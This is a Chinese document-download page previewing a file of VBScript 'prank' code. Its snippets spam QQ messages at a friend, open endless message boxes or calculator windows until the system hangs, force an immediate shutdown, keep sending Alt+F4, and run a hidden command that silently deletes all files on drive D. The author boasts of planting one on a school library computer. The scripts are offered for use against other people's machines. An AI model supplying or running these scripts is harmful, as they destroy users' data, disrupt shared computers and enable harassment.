没有合适的资源?快使用搜索试试~ 我知道了~
VBS脚本整人代码.doc
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
0 下载量 6 浏览量
2021-10-05
11:41:14
上传
评论
收藏 54KB DOC 举报
温馨提示
试读
11页
VBS脚本整人代码.doc
资源推荐
资源详情
资源评论
. -
一、你翻开好友的聊天对话框,然后记下在你 QQ 里好友的昵称,把下面代码里的 xx 替换一
下,就可以自定义发送 QQ 信息到好友的次数(代码里的数字 10 改一下即可).
xx.vbs=>
复制代码 代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ 骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没方法,哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、翻开无数个计算器,直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除 D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
. .zj.
. -
复制代码 代码如下:
while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
七、不断按下 alt+f4 〔开什么都关闭……〕
---------------------------------------------------------------------------
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按 500 次回车
(以上代码在运行者的电脑上显示 500 个对话框。其中 do until s=500 ,500 可以随意更
改)
复制代码 代码如下:
dim s
do until s=500
s=s+1
msgbox "哥们,给我按 500 次回车吧",64
loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口
复制代码 代码如下:
WScript.Echo("嘿,谢谢你翻开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是得意的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想去除我?")
WScript.Echo("那你要点上 50 下哦,不过会给你惊喜滴")
WScript.Echo("还剩 49 下,快点点哦")
WScript.Echo("还剩 48 下,快点,小笨蛋!")
WScript.Echo("还剩 47 下对,就这样快点点!")
WScript.Echo("还剩 46 下。你啊就是笨,要快哦,我先不打搅你工作。")
WScript.Echo("还剩 45 下,记得要快哦!")
WScript.Echo("还剩 43 下")
WScript.Echo("还剩 42 下")
. .zj.
. -
WScript.Echo("还剩 41 下")
WScript.Echo("还剩 40 下")
WScript.Echo("还剩 39 下")
WScript.Echo("还剩 38 下")
WScript.Echo("还剩 37 下")
WScript.Echo("还剩 36 下")
WScript.Echo("还剩 35 下")
WScript.Echo("还剩 34 下")
WScript.Echo("还剩 33 下")
WScript.Echo("还剩 32 下")
WScript.Echo("还剩 30 下")
WScript.Echo("还剩 29 下")
WScript.Echo("还剩 28 下")
WScript.Echo("还剩 27 下")
WScript.Echo("还剩 26 下")
WScript.Echo("还剩 25 下")
WScript.Echo("还剩 24 下")
WScript.Echo("还剩 23 下")
WScript.Echo("还剩 22 下")
WScript.Echo("还剩 21 下")
WScript.Echo("还剩 20 下")
WScript.Echo("还剩 19 下")
WScript.Echo("还剩 18 下")
WScript.Echo("还剩 17 下")
WScript.Echo("还剩 16 下")
WScript.Echo("还剩 15 下")
WScript.Echo("还剩 14 下")
WScript.Echo("还剩 13 下停停!!!慢点,我有话要说")
WScript.Echo("还剩 12 下,你继续点我就会消失滴")
WScript.Echo("还剩 11 下,以后就看不到我拉。555555")
WScript.Echo("还剩 10 下,你现在可以选择停顿!")
WScript.Echo("还剩 9 下。你还点啊,不要我拉?")
WScript.Echo("还剩 8 下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩 7 下。疯了,你有点负意!")
WScript.Echo("还剩 6 下。对。你就点吧,我恨你!")
WScript.Echo("还剩 5 下,不明白,删除我你就好吗?")
WScript.Echo("还剩 4 下!真要删除我?")
WScript.Echo("还剩 3 下。可是我真的很眷恋你。。。")
WScript.Echo("还剩 2 下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩 1 下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次时机。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
. .zj.
剩余10页未读,继续阅读
资源评论
pyhm63
- 粉丝: 6
- 资源: 20万+
下载权益
C知道特权
VIP文章
课程特权
开通VIP
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功